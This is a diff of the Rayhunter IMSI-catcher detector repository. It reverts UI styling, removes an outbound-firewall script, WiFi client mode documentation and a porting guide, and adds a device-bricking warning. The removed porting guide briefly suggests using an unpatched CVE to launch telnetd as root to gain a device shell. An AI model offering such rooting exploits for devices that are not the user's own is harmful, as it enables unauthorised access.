-                    d="M21 13v-2a1 1 0 0 0-1-1h-.757l-.707-1.707.535-.536a1 1 0 0 0 0-1.414l-1.414-1.414a1 1 0 0 0-1.414 0l-.536.535L14 5.757V5a1 1 0 0 0-1-1h-2a1 1 0 0 0-1 1v.757L8.293 6.464l-.536-.535a1 1 0 0 0-1.414 0L4.929 7.343a1 1 0 0 0 0 1.414l.535.536L4.757 11H4a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h.757l.707 1.707-.535.536a1 1 0 0 0 0 1.414l1.414 1.414a1 1 0 0 0 1.414 0l.536-.535L10 18.243V19a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-.757l1.707-.707.536.535a1 1 0 0 0 1.414 0l1.414-1.414a1 1 0 0 0 0-1.414l-.535-.536.707-1.707H20a1 1 0 0 0 1-1Z"
-                />
-                <path
-                    stroke="currentColor"
-                    stroke-linecap="round"
-                    stroke-linejoin="round"
-                    stroke-width="2"
-                    d="M12 15a3 3 0 1 0 0-6 3 3 0 0 0 0 6Z"
-                />
-            </svg>
-        </button>
        <div class="w-px bg-white/30 self-stretch"></div>
        <a
            class="flex flex-row gap-1 group"
@@ -206,7 +175,7 @@
 <div class="m-4 xl:mx-8 flex flex-col gap-4">
    {#if update_error !== undefined}
        <div
-            class="bg-red-100 border-red-100 drop-shadow-sm p-4 flex flex-col gap-2 border rounded-md flex-1 justify-between"
+            class="bg-red-100 border-red-100 drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 justify-between"
        >
            <span class="text-2xl font-bold mb-2 flex flex-row items-center gap-2 text-red-600">
                <svg
@@ -228,7 +197,7 @@
            </span>
            <span
                >This webpage is not currently receiving updates from your Rayhunter device. This
-                could be due to loss of connection or some issue with your device.</span
+                could be do loss of connection or some issue with your device.</span
            >
            {#if update_error}
                <details>
@@ -251,7 +220,7 @@
                />
            {:else}
                <div
-                    class="bg-red-100 border-red-100 drop-shadow-sm p-4 flex flex-col gap-2 border rounded-md flex-1 justify-between"
+                    class="bg-red-100 border-red-100 drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 justify-between"
                >
                    <span
                        class="text-2xl font-bold mb-2 flex flex-row items-center gap-2 text-red-600"
@@ -297,13 +266,14 @@
                        type="checkbox"
                        id="filter_threshold"
                        bind:checked={filter_threshold}
-                        class="px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
+                        class="px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
                    />
                </div>
            </div>
            <ManifestTable {entries} server_is_recording={!!current_entry} {manager} />
        </div>
        <DeleteAllButton />
+        <ConfigForm />
    {:else}
        <div class="flex flex-col justify-center items-center">
            <!-- https://www.w3.org/WAI/tutorials/images/decorative/ -->
--- a/daemon/web/tailwind.config.ts
+++ b/daemon/web/tailwind.config.ts
@@ -0,0 +1,19 @@
+import type { Config } from 'tailwindcss';
+import { breakpoints } from './src/theme';
+
+export default {
+    content: ['./src/**/*.{html,js,svelte,ts}'],
+
+    theme: {
+        extend: {
+            colors: {
+                'rayhunter-blue': '#4e4eb1',
+                'rayhunter-dark-blue': '#3f3da0',
+                'rayhunter-green': '#94ea18',
+            },
+            screens: breakpoints,
+        },
+    },
+
+    plugins: [],
+} as Config;
--- a/daemon/web/vite.config.ts
+++ b/daemon/web/vite.config.ts
@@ -1,6 +1,5 @@
 import { defineConfig } from 'vitest/config';
 import { sveltekit } from '@sveltejs/kit/vite';
-import tailwindcss from '@tailwindcss/vite';

 export default defineConfig({
    server: {
@@ -27,7 +26,7 @@ export default defineConfig({
            },
        },
    },
-    plugins: [tailwindcss(), sveltekit()],
+    plugins: [sveltekit()],
    build: {
        // Force everything into one HTML file. SvelteKit will still generate
        // a lot of JS files but they are deadweight and will not be included
--- a/dist/config.toml.in
+++ b/dist/config.toml.in
@@ -20,11 +20,11 @@ colorblind_mode = false
 ui_level = 1

 # 0 = rayhunter does not read button presses
-# 1 = double-tapping the power button starts new recording
+# 1 = double-tapping the power button starts/stops recordings
 key_input_mode = 0

 # If set, attempts to send a notification to the url when a new warning is triggered
-# ntfy_url = "https://ntfy.sh/your-topic"
+ntfy_url = ""
 # What notification types to enable. Does nothing if the above ntfy_url is not set.
 enabled_notifications = ["Warning", "LowBattery"]

@@ -34,27 +34,6 @@ min_space_to_start_recording_mb = 1
 # Minimum free space (MB) to continue recording (stops if below this)
 min_space_to_continue_recording_mb = 1

-# WiFi Client Mode
-# Toggle wifi_enabled to connect the device to an existing WiFi network.
-# Credentials are stored separately in wpa_sta.conf and managed via the web UI.
-wifi_enabled = false
-
-# DNS servers to use when WiFi client mode is active.
-# Defaults to ["9.9.9.9", "149.112.112.112"] (Quad9) if not specified.
-# dns_servers = ["9.9.9.9", "149.112.112.112"]
-
-# Device Security
-# Restrict outbound traffic to essential services only (DHCP, DNS,
-# HTTPS, and replies to inbound connections). Applies to all outbound
-# interfaces (WiFi and cellular). Loopback and hotspot bridge traffic
-# are always allowed. Defaults to true (recommended).
-firewall_restrict_outbound = true
-
-# Additional TCP ports to allow outbound when the firewall is active.
-# DHCP (67-68), DNS (53), and HTTPS (443) are always allowed.
-# Example: allow HTTP (80) and SSH (22).
-# firewall_allowed_ports = [80, 22]
-
 # Analyzer Configuration
 # Enable/disable specific IMSI catcher detection heuristics
 # See https://github.com/EFForg/rayhunter/blob/main/doc/heuristics.md for details
--- a/dist/scripts/S01iptables
+++ b/dist/scripts/S01iptables
@@ -1,24 +0,0 @@
-#!/bin/sh
-CONFIG="/data/rayhunter/config.toml"
-
-case "$1" in
-  start)
-    if grep -q '^firewall_restrict_outbound = true' "$CONFIG" 2>/dev/null; then
-        iptables -F OUTPUT
-        iptables -A OUTPUT -o lo -j ACCEPT
-        for br in bridge0 br0; do
-            [ -d "/sys/class/net/$br" ] && iptables -A OUTPUT -o "$br" -j ACCEPT
-        done
-        iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-        iptables -A OUTPUT -p udp --dport 67:68 -j ACCEPT
-        iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
-        iptables -A OUTPUT -p tcp --dport 53 -j ACCEPT
-        iptables -A OUTPUT -j DROP
-        echo 0 > /proc/sys/net/bridge/bridge-nf-call-iptables 2>/dev/null
-    fi
-    ;;
-  stop)
-    iptables -F OUTPUT
-    iptables -P OUTPUT ACCEPT
-    ;;
-esac
--- a/doc/SUMMARY.md
+++ b/doc/SUMMARY.md
@@ -1,6 +1,6 @@
 # Summary

- [Introduction](./introduction.md)
+[Introduction](./introduction.md)
 - [Support, feedback, and community](./support-feedback-community.md)
 - [Frequently Asked Questions](./faq.md)
 - [Installation](./installation.md)
@@ -14,7 +14,6 @@
  - [Re-analyzing recordings](./reanalyzing.md)
  - [How we analyze a capture](./analyzing-a-capture.md)
 - [Supported devices](./supported-devices.md)
-  - [Porting to new devices](./porting.md)
  - [Orbic/Kajeet RC400L](./orbic.md)
  - [TP-Link M7350](./tplink-m7350.md)
  - [TP-Link M7310](./tplink-m7310.md)
@@ -23,4 +22,3 @@
  - [Wingtech CT2MHS01](./wingtech-ct2mhs01.md)
  - [PinePhone and PinePhone Pro](./pinephone.md)
  - [Moxee Hotspot](./moxee.md)
- [REST API Documentation](./api-docs.md)
--- a/doc/api-docs.md
+++ b/doc/api-docs.md
@@ -1,5 +0,0 @@
-# REST API Documentation
-
-The rayhunter daemon has [REST API documentation](./api-docs/) available in the interactive swagger-ui.
-
->**Note:** API endpoints are subject to change as needs arise, though we will try to keep them as stable as possible and notify about breaking changes in the changelogs for new versions.
--- a/doc/configuration.md
+++ b/doc/configuration.md
@@ -13,7 +13,7 @@ Through web UI you can set:
  - *High visibility (full screen color)*: fills the entire screen with the status color (green for recording, red for warnings, white for paused).
 - **Device Input Mode**, which defines behavior of built-in power button of the device. *Device Input Mode* could be:
  - *Disable button control*: built-in power button of the device is not used by Rayhunter.
-  - *Double-tap power button to start new recording*: double clicking on a built-in power button of the device stops and immediately restarts the recording. This could be useful if Rayhunter's heuristics is triggered and you get the red line, and you want to "reset" the past warnings. Normally you can do that through web UI, but sometimes it is easier to double tap on power button.
+  - *Double-tap power button to start/stop recording*: double clicking on a built-in power button of the device stops and immediately restarts the recording. This could be useful if Rayhunter's heuristics is triggered and you get the red line, and you want to "reset" the past warnings. Normally you can do that through web UI, but sometimes it is easier to double tap on power button.
 - **Colorblind Mode** enables color blind mode (blue line is shown instead of green line, red line remains red). Please note that this does not cover all types of color blindness, but switching green to blue should be about enough to differentiate the color change for most types of color blindness.
 - **ntfy URL**, which allows setting a [ntfy](https://ntfy.sh/) URL to which notifications of new detections will be sent. The topic should be unique to your device, e.g., `https://ntfy.sh/rayhunter_notifications_ba9di7ie` or `https://myserver.example.com/rayhunter_notifications_ba9di7ie`. The ntfy Android and iOS apps can then be used to receive notifications. More information can be found in the [ntfy docs](https://docs.ntfy.sh/).
 - **Enabled Notification Types** allows enabling or disabling the following types of notifications:
@@ -21,38 +21,4 @@ Through web UI you can set:
  - *Low Battery*, which will alert when the device's battery is low. Notifications may not be supported for all devices—you can check if your device is supported by looking at whether the battery level indicator is functioning on the System Information section of the Rayhunter UI.
 - With **Analyzer Heuristic Settings** you can switch on or off built-in [Rayhunter heuristics](heuristics.md). Some heuristics are experimental or can trigger a lot of false positive warnings in some networks (our tests have shown that some heuristics have different behavior in US or European networks). In that case you can decide whether you would like to have the heuristics that trigger a lot of false positives on or off. Please note that we are constantly improving and adding new heuristics, so a new release may reduce false positives in existing heuristics as well.

-## WiFi Client Mode
-
-On the **Orbic**, **Moxee**, **UZ801**, **TMOHS1**, and **Wingtech**, Rayhunter can connect the device to an existing WiFi network while keeping the hotspot running. This gives the device internet access for [notifications](https://docs.ntfy.sh/) and lets you reach the web UI from any device on that network.
-
- **Enable WiFi** turns WiFi client mode on or off. Disabling it does not erase saved credentials.
- **Scan** searches for nearby networks. Select one from the dropdown, or type an SSID manually.
- **Password** is required for WPA/WPA2 networks. The password is stored separately from `config.toml` (in `wpa_sta.conf` on the device) and is never exposed through the API.
- **DNS Servers** lets you override the DNS servers used when connected. Defaults to `9.9.9.9` and `149.112.112.112` (Quad9) if not set.
-
-After saving, the connection status will show **connecting**, **connected** (with the assigned IP address), or **failed** (with an error message). If the connection fails, check that the SSID and password are correct and that the network is in range.
-
-### Crash Recovery
-
-The WiFi kernel module (`wlan.ko`) can occasionally crash or unload, taking both the hotspot and client interfaces down with it. Rayhunter includes a watchdog that detects this and automatically reloads the module, restarts the hotspot, and reconnects to the configured network. During recovery the WiFi status will show **recovering**.
-
-On the first detection of a crash, a diagnostic snapshot is saved to `/data/rayhunter/crash-logs/` on the device. You can pull these logs with `adb pull /data/rayhunter/crash-logs/` and inspect them to understand what went wrong. Each log contains:
-
- **dmesg** output (kernel messages). Look for backtraces, `BUG:`/`Oops:` lines, or `wlan`/`wcnss` errors. The kernel ring buffer is small and gets overwritten quickly, so crash details may already be gone if the crash happened well before detection.
- **/proc/modules** snapshot. If `wlan` is absent, the module fully unloaded. If present but interfaces are gone, the driver is stuck.
- **ip addr** output confirming which network interfaces existed at snapshot time.
- **ps** output showing which WiFi-related processes (`hostapd`, `wpa_supplicant`, `wland`) were still running.
-
-If recovery fails after 5 attempts, the status will change to **failed**. A reboot of the device will reset WiFi.
-
-You can also configure WiFi during installation:
-
-```sh
-./installer orbic --admin-password 'mypassword' --wifi-ssid 'MyNetwork' --wifi-password 'networkpass'
-```
-
-## Device Security
-
- **Restrict outbound traffic** limits what the device can send over the network. When enabled, only DNS, DHCP, and HTTPS traffic is allowed; everything else is blocked. This is enabled by default and prevents the device from phoning home to the carrier over cellular. If you need to allow additional ports (for example, port 80 for HTTP or port 22 for SSH), add them to the **Additional allowed ports** list.
-
 If you prefer editing `config.toml` file, you need to obtain a shell on your [Orbic](./orbic.md#obtaining-a-shell) or [TP-Link](./tplink-m7350.md#obtaining-a-shell) device and edit the file manually. You can view the [default configuration file on GitHub](https://github.com/EFForg/rayhunter/blob/main/dist/config.toml.in).
--- a/doc/ct2mhs01-wifi-standby.png
+++ b/doc/ct2mhs01-wifi-standby.png
--- a/doc/faq.md
+++ b/doc/faq.md
@@ -22,12 +22,6 @@ Please note that this file may contain sensitive information such as your IMSI a

 If you want to use a non-Verizon SIM card you will probably need an unlocked device. But it's not clear which devices are locked nor how to unlock them, we welcome any experimentation and information regarding the use of unlocked devices. So far most verizon branded orbic devices we have encountered are actually unlocked.

-### I can't reach my Rayhunter's web UI after leaving it alone for a while
-
-Some hotspots (notably the T-Mobile TMOHS1 and Wingtech CT2MHS01) shut down their Wi-Fi access point after about 10 minutes with no connected clients to save battery. Rayhunter is still recording in the background, but you won't be able to reach the web UI until you power cycle the device or reconnect a client while Wi-Fi is still up.
-
-To avoid this, set Wi-Fi Standby to "Always on" in the hotspot's native admin UI. See [TMOHS1](./tmobile-tmohs1.md#wi-fi-auto-shutdown) or [CT2MHS01](./wingtech-ct2mhs01.md#wi-fi-auto-shutdown) for step-by-step instructions.
-
 ### How do I re-enable USB tethering after installing Rayhunter?

 If you have installed with `./installer orbic-usb`, you might find that USB
@@ -56,14 +50,6 @@ reboot
 See `/data/usb/boot_hsusb_composition` for a list of USB modes and Android USB gadget settings.


-### How do I connect my device to an existing WiFi network?
-
-The Orbic, Moxee, UZ801, and TMOHS1 can connect to a nearby WiFi network while still running their own hotspot. This gives the device internet access for ntfy notifications and lets you reach the web UI from your home network. See [WiFi Client Mode](./configuration.md#wifi-client-mode) in the configuration guide for setup instructions.
-
-### WiFi client mode is connected but I can't reach the internet
-
-Check that the **DNS Servers** field in the config has valid entries (the default is `9.9.9.9` and `149.112.112.112`). If your home network and the device hotspot use the same subnet (for example, both are on `192.168.1.x`), try restarting the daemon by saving the config again from the web UI.
-
 ### How do I disable the WiFi hotspot on the Orbic RC400L?

 To disable both WiFi bands, [first obtain a shell](./orbic.md#shell), then:
--- a/doc/installing-from-release.md
+++ b/doc/installing-from-release.md
@@ -44,9 +44,6 @@ Make sure you've got one of Rayhunter's [supported devices](./supported-devices.
   # Note: the arguments --admin-username 'myusername' and --admin-ip 'mydeviceip'
   #       may be required if different from the default.

-   # Optionally configure WiFi client mode during install (Orbic and Moxee only):
-   ./installer orbic --admin-password 'mypassword' --wifi-ssid 'MyNetwork' --wifi-password 'networkpass'
-
   # Or install over USB if you want ADB and a root shell (not recommended for most users)
   ./installer orbic-usb

--- a/doc/installing-from-source.md
+++ b/doc/installing-from-source.md
@@ -76,19 +76,3 @@ Note though that we can't assist with any issues setting ADB up, _especially
 not_ on Windows. There have been too many driver issues to make this the
 "golden path" for most users or contributors. There have been instances where
 people managed to brick their orbic devices using ADB on Windows.
-
-## Troubleshooting
-
-You may need to turn off your VPN in order to load the frontend succesfully - even with local network sharing enabled, VPNs can interfere with the connection to the backend.
-
-Specifically for WSL users:
-
- The HyperV firewall also tends to interfere with the connection between frontend and backend. You can turn it off in your WSL settings.
-
- WSL2 has a known compatibility issue which may prevent vite from detecting file system changes and therefore affects HMR (hot module replacement).
-If your hot reloading does not work, some have success using polling to detect changes. To do so, specify the following setting in vite.config.ts:
-```ts
-server: {
-    watch: { usePolling: true }
-}
-```
--- a/doc/moxee.md
+++ b/doc/moxee.md
@@ -5,7 +5,15 @@ Supported in Rayhunter since version 0.6.0.
 The Moxee Hotspot is a device very similar to the Orbic RC400L. It seems to be
 primarily for the US market.

-**These devices have relatively little storage. The Orbic is usually a better alternative, though might be more expensive.**
+<div class="warning-box">
+
+**WARNING: These devices are known to become completely bricked by installing Rayhunter.**
+
+Do not buy this device nor try to install _nor upgrade_ Rayhunter on it.
+
+We're still trying to figure out what's wrong in [this discussion](https://github.com/EFForg/rayhunter/issues/865).
+
+</div>

 - [KonnectONE product page](https://www.konnectone.com/specs-hotspot)
 - [Moxee product page](https://www.moxee.com/hotspot)
@@ -32,14 +40,11 @@ According to [FCC ID 2APQU-K779HSDL](https://fcc.report/FCC-ID/2APQU-K779HSDL),
 Connect to the hotspot's network using WiFi or USB tethering and run:

 ```sh
-./installer moxee --admin-password 'mypassword'
+./installer orbic --admin-password 'mypassword'
 ```

 The password (in place of `mypassword`) is under the battery.

-`./installer moxee` is almost the same as `./installer orbic`, it just comes
-with slightly better defaults that will give you more space for recordings.
-
 ## Obtaining a shell

 ```sh
--- a/doc/orbic.md
+++ b/doc/orbic.md
@@ -22,10 +22,6 @@ pay more than 30 USD for such a device (without shipping).
 | Wifi 5Ghz | a/ac/ax |
 | Wifi 6 | 🮱 |

-## WiFi client mode
-
-The Orbic's QCA6174 radio supports running the hotspot and connecting to an external WiFi network at the same time. See [WiFi Client Mode](./configuration.md#wifi-client-mode) for setup.
-
 ## Two kinds of installers

 The orbic's installation routine underwent many different changes:
--- a/doc/porting.md
+++ b/doc/porting.md
@@ -1,88 +0,0 @@
-# Porting to new devices
-
-## When will we consider new devices?
-
-Rayhunter is already officially supported on [several devices](./supported-devices.md), and people are often interested in adding support for hardware they already own. Here's a non-exhaustive list of situations where we'd consider adding a new Tier 2 device:
-
-* The device is significantly cheaper or more available in a specific region than any device we already support.
-* The device supports 5G and costs less than 100 USD.
-* You're willing to commit to supporting this device and handling bug reports.
-* The device has support for all cellular bands and can work in any country.
-
-We want to avoid a situation where the list of supported devices keeps growing but the number of recurring contributors and maintainers stays the same.
-
-That said, you can always maintain a fork, or install Rayhunter manually without writing an installer. You can promote this work in the [GitHub discussions](https://github.com/EFForg/rayhunter/discussions) area, where most new hardware investigations happen.
-
-Please don't open issues about supporting a new device, use GitHub discussions instead. Most hardware investigations end up being abandoned, and the amount of issues we'd have to triage would be too much.
-
-## Prerequisites: root shell, and /dev/diag
-
-Rayhunter is a Linux binary that reads traffic from the Qualcomm diagnostic interface, which requires root. If either of those isn't available, Rayhunter can't work. Everything else (displays, buttons) is secondary, and we can deal with it later.
-
-In the devices we currently support `/dev/diag` is the interface for Qualcomm diagnostics and devices with this will be easiest to support. Newer Qualcomm modems expose the diagnostic interface over a USB gadget which is something we are working on support for, but do not currently have. Thus devices with the former diagnostic interface will be easier to port Rayhunter to.
-
-You can check ahead of purchase whether `/dev/diag` is available by ensuring the device has a Qualcomm MDM* chip. Other Qualcomm LTE chips might work but we haven't encountered one yet. Typically you will be able to get this information from [fcc.report](https://fcc.report), where either the chip is written down in some PDF or at least plainly visible in one of the teardown photos. Sometimes this information can also be found through teardown videos on YouTube. If you find that chip, there's a good chance (but no guarantee) `/dev/diag` is available.
-
-Any vendor other than Qualcomm (Mediatek, Rockchip, ...) is unlikely to work. Quectel sometimes repackages Qualcomm chips into larger systems and might work. Huawei devices won't work, as they use their own chips.
-
-Getting a root shell varies from device to device. Check the [GitHub discussions](https://github.com/EFForg/rayhunter/discussions) for prior art, and look through the installer source in `installer/src/` for inspiration. These approaches are common:
-
-* Connecting with `adb shell`.
-* If `adb shell` doesn't work, sending a special USB serial command might enable it.
-* Sometimes there's an unpatched CVE that can be used to launch `telnetd` as root (search "device name CVE", the website [opencve.io](https://opencve.io) is particularly easy to use).
-
-Once you have a root shell, check that `/dev/diag` exists.
-
-## Installing Rayhunter manually
-
-The Rayhunter installation consists of just two components: the `rayhunter-daemon` binary, and the config file (`config.toml`).
-
-Typically the layout on the filesystem will look like this:
-
-```text
-/data/rayhunter/rayhunter-daemon
-/data/rayhunter/config.toml
-/data/rayhunter/qmdl/
-```
-
-Then, `./rayhunter-daemon config.toml` can be started manually.
-
-You can refer to [Installing from source](./installing-from-source.md) for how to obtain the `rayhunter-daemon` binary.
-
-We're assuming that your device is ARMv7, i.e. 32-bit ARM (`armv7-unknown-linux-musleabihf`). If that's not the case, you can still build the daemon but you'll need to figure out the correct target triple on your own.
-
-You can copy the daemon and config files to the device using `netcat` or `adb push`. They don't have to be in `/data/rayhunter/`, this is just convention. If you use a different path, be sure to update the `qmdl_store_path` setting in `config.toml`.
-
-The `device` setting in `config.toml` must match one of the lowercase variant names from the `Device` enum (e.g. `"orbic"`, `"tplink"`). This controls which display driver is used.
-
-Setting `debug_mode = true` in `config.toml` runs the daemon without `/dev/diag`, so you can test the display and web UI without the hardware.
-
-### Autostart
-
-To make Rayhunter start on boot, you'll need an init script. The existing installers use the template at `dist/scripts/rayhunter_daemon`, which has a `#RAYHUNTER-PRESTART` placeholder that gets replaced with device-specific setup commands (e.g. killing a vendor UI process, mounting an SD card). Look at how the existing installers handle this in their `install()` functions.
-
-## Display support
-
-The `device` setting [mentioned above](#installing-rayhunter-manually) also controls which display driver is loaded (see [`Device` enum in `lib/src/lib.rs`](https://github.com/EFForg/rayhunter/blob/main/lib/src/lib.rs)). Unless your device is a variant of an existing device, you'll want to add a new variant to the `Device` enum and write a corresponding display module in `daemon/src/display/`.
-
-You can play around with the existing values of the `device` setting to see which one ends up rendering on your device's display. Most likely your device has a display similar enough to an existing one, and the display module for that device (e.g. `daemon/src/display/orbic.rs`, `daemon/src/display/tplink.rs`) can be used as a starting point.
-
-If your device has LEDs instead of a display, take a look at `daemon/src/display/uz801.rs` which controls LEDs via sysfs.
-
-## Button support
-
-Rayhunter can use the power button to restart recordings via a double-tap gesture. The implementation is in [`daemon/src/key_input.rs`](https://github.com/EFForg/rayhunter/blob/main/daemon/src/key_input.rs). It currently has no structure for device-specific implementations, as all devices we support expose the same input event interface.
-
-The `key_input_mode` setting in `config.toml` controls this feature (`0` = disabled, `1` = double-tap power button to start/stop recordings).
-
-## Writing the installer, and contributing official support
-
-At this point you'll want to have figured out how to automate the entire installation in principle, and how to make it as repeatable as possible. A proof-of-concept of this in bash or another language is also a welcome contribution (to be posted on [GitHub discussions](https://github.com/EFForg/rayhunter/discussions), not as a PR).
-
-Writing the installer means adding a new variant to the `Command` enum in [`installer/src/lib.rs`](https://github.com/EFForg/rayhunter/blob/main/installer/src/lib.rs) and implementing the install logic in a new module under `installer/src/`. Each subcommand maps to a device-specific entry point function (e.g. `tplink::main_tplink`, `orbic_network::install`).
-
-The installer gets the daemon binary path from `env!("FILE_RAYHUNTER_DAEMON")`, which is set at build time. Config installation is handled by the shared `install_config()` helper in the `connection` module, which writes the config file with the correct device name.
-
-You must also add a shell utility subcommand under `installer util` (the `UtilSubCommand` enum in `installer/src/lib.rs`), e.g. `installer util tplink-shell`, `installer util orbic-shell`. This is required -- without it, users and developers have no way to interactively debug the device. Depending on connectivity, this might be a telnet session, an ADB shell, or a serial connection. Other utilities (file transfer helpers, etc.) are optional but encouraged. See the existing `UtilSubCommand` variants for examples.
-
-Please reuse existing utilities wherever possible. Take a look at [`installer/src/tplink.rs`](https://github.com/EFForg/rayhunter/blob/main/installer/src/tplink.rs) and [`installer/src/orbic_network.rs`](https://github.com/EFForg/rayhunter/blob/main/installer/src/orbic_network.rs) for inspiration. But the structures there are still evolving, and we'll happily guide you during code review.
--- a/doc/supported-devices.md
+++ b/doc/supported-devices.md
@@ -30,4 +30,4 @@ Rayhunter is confirmed to work on these devices.
 ## Adding new devices
 Rayhunter was built and tested primarily on the Orbic RC400L mobile hotspot, but the community has been working hard at adding support for other devices. Theoretically, if a device runs a Qualcomm modem and exposes a `/dev/diag` interface, Rayhunter may work on it.

-If you have a device in mind which you'd like Rayhunter to support, please read the [porting guide](./porting.md) and [open a discussion on our Github](https://github.com/EFForg/rayhunter/discussions)!
+If you have a device in mind which you'd like Rayhunter to support, please [open a discussion on our Github](https://github.com/EFForg/rayhunter/discussions)!
--- a/doc/swagger-ui.html
+++ b/doc/swagger-ui.html
@@ -1,28 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-  <head>
-    <meta charset="utf-8" />
-    <meta name="viewport" content="width=device-width, initial-scale=1" />
-    <meta name="description" content="SwaggerUI" />
-    <title>SwaggerUI</title>
-    <link rel="stylesheet" href="https://unpkg.com/swagger-ui-dist@5.31.0/swagger-ui.css" />
-  </head>
-  <body>
-  <div id="swagger-ui"></div>
-  <script src="https://unpkg.com/swagger-ui-dist@5.31.0/swagger-ui-bundle.js" crossorigin></script>
-  <script src="https://unpkg.com/swagger-ui-dist@5.31.0/swagger-ui-standalone-preset.js" crossorigin></script>
-  <script>
-    window.onload = () => {
-      window.ui = SwaggerUIBundle({
-        url: './rayhunter-openapi.json',
-        dom_id: '#swagger-ui',
-        presets: [
-          SwaggerUIBundle.presets.apis,
-          SwaggerUIStandalonePreset
-        ],
-        layout: "StandaloneLayout",
-      });
-    };
-  </script>
-  </body>
-</html>
--- a/doc/tmobile-tmohs1.md
+++ b/doc/tmobile-tmohs1.md
@@ -36,10 +36,6 @@ According to FCC ID 2APXW-TMOHS1 Test Report No. I20Z61602-WMD02 ([part 1](https
 |   66 | 1700 MHz (E-AWS) |
 |   71 | 600 MHz (USDD)   |

-## WiFi client mode
-
-The TMOHS1 supports WiFi client mode, allowing Rayhunter to connect to an existing WiFi network while keeping the hotspot running. See [WiFi Client Mode](./configuration.md#wifi-client-mode) for setup.
-
 ## Installing
 Connect to the TMOHS1's network over WiFi or USB tethering.

@@ -59,21 +55,6 @@ Then run the installer:
 | Paused           | WiFi LED blinks white.         |
 | Warning Detected | Signal LED slowly blinks red.  |

-## Wi-Fi auto-shutdown
-
-By default the TMOHS1 turns off its Wi-Fi access point after 10 minutes with no connected clients. Rayhunter keeps recording on the device in the background, but once the access point is down you can't reach the web UI, download captures, or see new warnings until you power cycle the hotspot.
-
-The TMOHS1's native admin UI lets you change this:
-
-1. Connect to the TMOHS1's Wi-Fi (or USB tether).
-2. In a browser open `http://192.168.0.1/` and log in with the admin password.
-3. Go to **Settings** → **Sleep** → **Wi-Fi Standby** and pick **Always on**.
-4. Click **Apply**.
-
-![TMOHS1 Wi-Fi Standby setting](./tmohs1-wifi-standby.png)
-
-Keeping Wi-Fi always on uses more battery. If you only monitor Rayhunter through the device's LEDs and don't need remote access, the default 10-minute timer is fine.
-
 ## Obtaining a shell
 Even when rayhunter is running, for security reasons the TMOHS1 will not have telnet or adb enabled during normal operation.

--- a/doc/tmohs1-wifi-standby.png
+++ b/doc/tmohs1-wifi-standby.png
--- a/doc/using-rayhunter.md
+++ b/doc/using-rayhunter.md
@@ -19,8 +19,6 @@ You can access this UI in one of two ways:
  On the **Orbic**, you can find the WiFi network password by going to the Orbic's menu > 2.4 GHz WIFI Info > Enter > find the 8-character password next to the lock 🔒 icon.
  On the **TP-Link**, you can find the WiFi network password by going to the TP-Link's menu > Advanced > Wireless > Basic Settings.

-  If [WiFi client mode](./configuration.md#wifi-client-mode) is enabled, you can also reach the web UI from any device on that network at `http://<device-ip>:8080`.
-
 * **Connect over USB (Orbic):** Connect your device to your laptop via USB. Run `adb forward tcp:8080 tcp:8080`, then visit <http://localhost:8080>.
    * For this you will need to install the Android Debug Bridge (ADB) on your computer, you can copy the version that was downloaded inside the `releases/platform-tools/` folder to somewhere else in your path or you can install it manually.
    * You can find instructions for doing so on your platform [here](https://www.xda-developers.com/install-adb-windows-macos-linux/#how-to-set-up-adb-on-your-computer), (don't worry about instructions for installing it on a phone/device yet).
@@ -28,8 +26,6 @@ You can access this UI in one of two ways:

 * **Connect over USB (TP-Link):** Plug in the TP-Link and use USB tethering to establish a network connection. ADB support can be enabled on the device, but the installer won't do it for you.

-> **_NOTE:_** When downloading recordings, "Insecure download blocked" warnings can safely be ignored - this is due to Rayhunter not using HTTPS.
-
 ## Key shortcuts

 As of Rayhunter version 0.3.3, you can start a new recording by double-tapping the power button. Any current recording will be stopped and a new recording will be started, resetting the red line as well. This feature is disabled by default since Rayhunter version 0.4.0 and needs to be enabled through [configuration](./configuration.md).
--- a/doc/uz801.md
+++ b/doc/uz801.md
@@ -36,12 +36,6 @@ With the device fully booted (i.e. beaming a WiFi network, blue LED, etc.) and p

 Note: The default IP for UZ801 is typically `192.168.100.1`; if yours differs, use the `--admin-ip` argument to specify it.

-## WiFi client mode
-
-The UZ801's WCN36xx (PRONTO) radio supports concurrent AP+STA mode. The daemon has backend support for WiFi client mode on the UZ801, but this has not yet been successfully exercised end-to-end and the web UI currently does not expose the configuration surface on this device. Treat UZ801 WiFi client mode as not yet supported. See [WiFi Client Mode](./configuration.md#wifi-client-mode) for the intended setup on supported devices.
-
-The interface creation method differs from the Orbic (which uses `iw`): the UZ801 creates a P2P_CLIENT virtual interface via nl80211 and converts it to a managed STATION interface. This is handled by the daemon when the feature is enabled.
-
 ## LED modes
 | Rayhunter state  | LED indicator       |
 | ---------------- | ------------------- |
--- a/doc/wingtech-ct2mhs01.md
+++ b/doc/wingtech-ct2mhs01.md
@@ -28,10 +28,6 @@ Wingtechs are abundant on ebay and can also be found on Amazon:
 - <https://www.ebay.com/itm/127147132518>
 - <https://www.amazon.com/AT-Turbo-Hotspot-256-Black/dp/B09YWLXVWT>

-## WiFi client mode
-
-The Wingtech supports WiFi client mode, allowing Rayhunter to connect to an existing WiFi network while keeping the hotspot running. See [WiFi Client Mode](./configuration.md#wifi-client-mode) for setup.
-
 ## Installing
 Connect to the Wingtech's network over WiFi or USB tethering, then run the installer:

@@ -54,21 +50,6 @@ telnet 192.168.1.1
 adb shell
 ```

-## Wi-Fi auto-shutdown
-
-By default the CT2MHS01 turns off its Wi-Fi access point after the configured sleep timer (default 10 minutes) with no connected clients. Rayhunter keeps recording on the device in the background, but once the access point is down you can't reach the web UI, download captures, or see new warnings until you power cycle the hotspot.
-
-The CT2MHS01's native admin UI lets you change this:
-
-1. Connect to the Wingtech's Wi-Fi (or USB tether).
-2. In a browser open `http://192.168.1.1/` and log in with the admin password.
-3. Go to **Settings** → **Sleep** → **Wi-Fi Standby** and pick **Always on**.
-4. Click **Save**.
-
-![CT2MHS01 Wi-Fi Standby setting](./ct2mhs01-wifi-standby.png)
-
